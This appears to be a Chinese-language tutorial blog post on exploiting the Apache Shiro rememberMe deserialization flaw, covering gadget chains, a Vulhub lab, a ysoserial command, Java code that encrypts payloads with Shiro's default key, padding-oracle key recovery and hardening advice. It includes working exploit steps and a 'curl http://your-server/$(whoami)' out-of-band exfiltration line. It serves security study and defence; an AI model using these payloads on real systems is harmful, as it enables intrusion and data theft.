Java反序列化漏洞实战:从Shiro RememberMe到RCE利用链剖析 📅 2026/6/25 16:50:39 1. 项目概述一次对Shiro反序列化漏洞的深度实战剖析最近在整理内部安全审计的案例库翻到了一个几年前的老项目其中涉及Apache Shiro框架的反序列化漏洞攻防。这个案例非常经典几乎涵盖了从漏洞发现、原理分析、利用链构造到最终防御加固的全过程。Shiro作为Java领域广泛使用的安全框架其历史漏洞的利用方式至今在渗透测试和红蓝对抗中仍有很高的参考价值。今天我就以这个“JAVA攻防-Shiro专题”为引子结合断点调试、多种利用链URLDNS、CommonsCollections、CommonsBeanutils的构造、以及Shiro特有的AES密钥与加密逻辑带大家走一遍完整的漏洞分析与利用实战。无论你是正在学习Java安全的初学者还是想深化漏洞原理理解的安全从业者这篇文章都能为你提供一个清晰的、可复现的路径。我们会绕过那些泛泛而谈的理论直接切入代码和调试现场把每一个关键步骤背后的“为什么”讲清楚。2. 漏洞原理与Shiro安全机制深度拆解要理解Shiro的反序列化漏洞首先得明白它在Web应用中扮演的角色以及它的工作流程。Shiro的核心功能之一是会话Session管理。在用户登录后Shiro会创建一个会话标识并将其序列化、加密后通过Cookie默认名为rememberMe发送给浏览器。当下次请求时浏览器会带回这个CookieShiro服务端会对其进行解密、反序列化从而恢复用户的会话状态。这个设计的初衷是为了实现“记住我”功能避免用户频繁登录。2.1 加密与序列化的关键流程漏洞的根源就藏在这个流程里。我们来看一下Shiro 1.2.4及之前版本处理rememberMeCookie的简化逻辑序列化将用户的会话信息一个Java对象通过Java原生序列化机制转换成字节数组。加密使用一个固定的AES密钥CBC模式对这个字节数组进行加密。编码将加密后的密文进行Base64编码然后设置为Cookie值。服务端验证时则反向操作Base64解码 - AES解密 - 反序列化。这里存在一个致命问题AES密钥是硬编码在框架代码中的。在早期版本中默认的密钥kPHbIxk5D2deZiIxcaaaA是公开的。这意味着攻击者如果知道了这个密钥就可以自己构造一个恶意的序列化数据加密编码后伪装成合法的rememberMeCookie发送给服务器。服务器会用相同的密钥解密并毫无戒备地对解密后的数据进行反序列化。注意即使后来Shiro在新版本中改为在初始化时生成随机密钥但如果开发人员在配置文件中手动指定了一个弱密钥或公开的密钥同样会引入风险。这就是常说的“Shiro 550”漏洞CVE-2016-4437的核心。2.2 反序列化利用的入口DefaultSecurityManager在Shiro中负责处理Cookie的类是CookieRememberMeManager。其getRememberedSerializedIdentity方法会获取Cookie值然后交给convertBytesToPrincipals方法。后者会调用decrypt方法解密最终调用deserialize方法进行反序列化。// 简化逻辑示意 byte[] bytes Base64.decode(cookieValue); byte[] serialized decrypt(bytes); ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(serialized)); Object obj ois.readObject(); // 危险的反序列化点这个readObject()就是Java反序列化漏洞的经典入口。一旦我们能够控制输入流中的数据并且类路径上存在可利用的“链”一组通过方法调用串联起来的类就能实现远程代码执行RCE。3. 利用链的选型、构造与调试环境搭建知道了漏洞点下一步就是构造攻击载荷Payload。Java反序列化利用链有很多我们需要选择在目标环境中最可能存在的链。Shiro漏洞利用中最常见的有三条链URLDNS、CommonsCollectionsCC链和CommonsBeanutilsCB链。3.1 利用链特性分析与选型思路URLDNS链这是最常用作“探测”的链。它不执行命令而是会发起一次DNS查询。它的巨大优势是不依赖任何第三方库只利用Java内置的java.net.URL和HashMap等类。因此只要目标存在反序列化点几乎100%可以用URLDNS来验证漏洞是否存在。在Shiro场景下我们首先用它来确认密钥是否正确、漏洞是否可触发。CommonsCollections链这是最著名的“攻击”链之一。它依赖Apache Commons Collections库。该库在老版本3.2.1及以下4.0以下中存在一系列可以构造任意代码执行的Transformer类。由于历史原因很多Java Web项目都引用了这个库使得CC链的通用性极高。Shiro早期版本自身也可能依赖它。CommonsBeanutils链这是CC链的一个“变种”或“替代品”。它依赖Apache Commons Beanutils库。在某些环境中可能没有Commons Collections但有Beanutils或者CC版本较高已修复此时CB链就派上用场了。它利用BeanComparator和PropertyUtils来触发恶意调用。选型策略实战中我们通常采用“由简到繁由探测到攻击”的策略。先用URLDNS链验证漏洞和密钥。如果URLDNS成功收到DNS日志则尝试CC链的通用Payload。如果CC链不成功可能因为库版本或类名问题再尝试CB链。如果都不行可能需要结合目标系统的其他依赖如Fastjson、XStream等寻找新的利用链。3.2 本地调试环境快速搭建要深入理解光看理论不行必须动手调试。我建议按以下步骤搭建一个最简化的调试环境准备漏洞环境使用Vulhub或自己搭建一个包含Shiro 1.2.4的Web应用。这里以Vulhub的shiro-1.2.4为例使用Docker快速启动。# 进入vulhub/shiro/CVE-2016-4437目录 docker-compose up -d应用启动后通常访问http://your-ip:8080即可看到一个登录页面。准备攻击与调试工具Java IDEIntelliJ IDEA 或 Eclipse。反序列化利用工具推荐使用现成的工具生成Payload同时学习其源码。例如ysoserial需自行编译或shiro-attack这类集成了Shiro加密的专项工具。Burp Suite用于拦截和重放HTTP请求插入我们的恶意Cookie。关键将Shiro源码导入IDE并配置远程调试。这是理解加密解密和反序列化过程的核心。在Docker启动命令或docker-compose.yml中为Java应用添加调试参数# 在java命令中添加 environment: JAVA_OPTS: -agentlib:jdwptransportdt_socket,servery,suspendn,address5005在IDE中新建一个“Remote JVM Debug”配置主机填Docker宿主机的IP端口填5005。重新启动Docker容器并在IDE中连接调试器。在CookieRememberMeManager的decrypt和deserialize方法上打上断点。现在当你发送一个请求时IDE就会在断点处暂停你可以一步步查看解密后的字节流以及反序列化是如何被触发的。这个直观的感受至关重要。4. 从零构造攻击Payload加密、编码与发送有了调试环境和利用链知识我们来实战构造一个攻击Payload。整个过程分为四步生成恶意序列化数据、用Shiro的密钥加密、Base64编码、放入HTTP请求。4.1 生成序列化数据以URLDNS链为例我们先用ysoserial生成一个URLDNS链的Payload目标是让目标服务器向我们控制的DNS服务器发起查询以此证明漏洞存在。# 假设ysoserial.jar已就绪 java -jar ysoserial.jar URLDNS http://your-dns-log-domain.dnslog.cn payload.ser这条命令会生成一个包含恶意序列化对象的二进制文件payload.ser。其中的your-dns-log-domain.dnslog.cn可以替换成任何DNSLog平台提供的域名如ceye.io, dnslog.cn用于接收查询记录。4.2 模拟Shiro的AES加密逻辑Shiro的加密逻辑是固定的AES/CBC/PKCS5PaddingIV初始化向量为全零。我们需要用与Shiro服务端完全相同的密钥和算法来加密我们的payload.ser。这里提供一个简单的Java代码片段用于完成加密和编码import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.codec.Base64; import org.apache.shiro.util.ByteSource; import java.nio.file.Files; import java.nio.file.Paths; public class ShiroPayloadGenerator { public static void main(String[] args) throws Exception { // 1. 读取序列化后的payload byte[] payloadBytes Files.readAllBytes(Paths.get(payload.ser)); // 2. 使用Shiro默认密钥或你已知的目标密钥 String defaultKey kPHbIxk5D2deZiIxcaaaA; byte[] keyBytes Base64.decode(defaultKey); // 3. 使用Shiro的AES服务进行加密 AesCipherService aes new AesCipherService(); aes.setKeySize(128); // 密钥长度 // CBC模式IV为零向量 ByteSource encrypted aes.encrypt(payloadBytes, keyBytes); // 4. Base64编码作为最终的Cookie值 String rememberMeCookie Base64.encodeToString(encrypted.getBytes()); System.out.println(rememberMe rememberMeCookie); } }运行这段代码你会得到一长串Base64字符串这就是我们最终的攻击载荷。实操心得很多现成的攻击工具如shiro-attack已经集成了这个流程。但自己手写一遍加密代码能让你彻底理解Payload的生成过程在遇到密钥修改或算法调整时你能快速适配而不是只会用工具。4.3 组装HTTP请求并触发最后一步发送HTTP请求。使用Burp Suite抓取目标网站的任何请求如GET/然后修改或添加一个Cookie头Cookie: rememberMe刚才生成的那一串很长的Base64字符串; JSESSIONID...发送这个请求。如果漏洞存在且密钥正确服务器会处理这个Cookie。对于URLDNS链稍等片刻去你的DNSLog平台查看应该能看到一条来自目标服务器IP的DNS查询记录。这确凿地证明了反序列化漏洞存在且可利用。对于CC/CB链如果命令执行成功你可能会在目标服务器上看到新启动的进程、创建的文件或者在你的监听端口收到一个反向Shell。关键排查点如果URLDNS没有触发可能的原因有密钥不对不是默认密钥。目标Shiro版本已修复或rememberMe功能被禁用。Payload在加密/编码过程中出错。网络策略禁止DNS出站。5. 高级利用技巧与疑难问题排查实录在实际渗透测试中情况往往比实验室环境复杂得多。下面分享几个我踩过的坑和对应的解决思路。5.1 密钥的探测与获取如果默认密钥无效我们需要探测目标使用的密钥。一个常见的方法是“Padding Oracle Attack”。由于Shiro使用CBC模式且错误信息可能不同我们可以通过精心构造的密文根据服务器的响应如500错误或200正常来逐字节爆破出密钥。已有成熟工具如shiro-exploit、shiro-attack集成了这个攻击模块。原理是利用CBC模式的特性通过判断解密后Padding是否正确来推断信息最终计算出密钥。5.2 利用链的兼容性与回显问题CC链版本问题CC链有多个变种如CC1、CC2、CC3、CC4、CC5、CC6、CC7等适用于不同版本的Commons Collections库。工具通常会依次尝试。如果通用Payload不行可能需要分析目标应用的pom.xml或WEB-INF/lib目录下的jar包版本针对性生成Payload。命令执行无回显很多时候即使执行了命令我们也看不到输出。这时需要采用“外带数据”OOB的方式。DNS外带使用curl http://your-server/$(whoami)通过DNS或HTTP日志查看命令结果。HTTP外带将命令结果作为URL参数或请求体发送到你的服务器。写入文件将命令结果输出到Web目录下的一个文件然后通过浏览器访问查看。Java版本限制高版本Java8u121引入了JEP 290等安全机制限制了反序列化时可加载的类这会使很多利用链失效。此时可能需要寻找绕过JEP 290的新链或者结合其他漏洞如Tomcat EL表达式注入进行利用。5.3 断点调试在漏洞分析中的实战应用回到我们开头搭建的调试环境。当发送一个恶意Cookie后调试器会在deserialize处暂停。这时你可以做几件非常有价值的事查看解密后的数据在decrypt方法后查看解密得到的字节数组。你可以将其复制出来保存为文件然后用serializationdumper或直接ObjectInputStream读取验证它是否是你发送的Payload结构。跟踪反序列化过程单步步入readObject()你会看到它开始读取你Payload中的类描述符。如果利用链生效你会看到程序依次加载AnnotationInvocationHandler、LazyMap、ChainedTransformer等类以CC1链为例。这个过程能让你生动地理解“利用链”是如何像多米诺骨牌一样被推倒的。分析利用失败原因如果Payload没执行在这里也能找到线索。例如可能在加载某个类时抛出ClassNotFoundException这说明目标环境缺少相应的依赖库或者触发了一些安全异常这可能是由于Java安全策略或RASP运行时应用自保护拦截了。5.4 防御措施与安全开发建议作为防御方了解攻击手段后加固措施就非常明确了升级Shiro立即升级到最新版本。新版本不仅修复了硬编码密钥问题还提供了更安全的默认配置。更换强密钥如果因兼容性不能升级务必在Shiro配置文件中shiro.ini或Spring配置使用自己生成的、足够复杂且保密的AES密钥并确保生产环境与开发环境的密钥不同。# shiro.ini 示例 securityManager.rememberMeManager.cipherKey your_strong_base64_encoded_key_here禁用RememberMe如果业务不需要“记住我”功能直接关闭它。全局反序列化过滤在应用层面或通过Agent方式使用反序列化过滤器如ObjectInputFilterJava 9或开源库SerialKiller只允许反序列化可信的白名单类。移除危险依赖检查并移除项目中不必要的、存在已知反序列化漏洞的第三方库如老版本的Commons Collections、Beanutils等或者升级到已修复的安全版本。通过这次从原理到实战从利用到防御的完整旅程我们可以看到一个看似简单的“记住我”功能在安全设计上的疏忽会带来多么严重的后果。对于安全研究者Shiro漏洞是一个绝佳的学习样本它串联起了加密、序列化、Java反射、动态代理、类加载等多个核心知识点。对于开发者它则是一个警钟提醒我们框架的“默认配置”未必安全依赖组件的版本管理至关重要。在平时开发中多一步安全考量在出现漏洞时才能少一分应急的狼狈。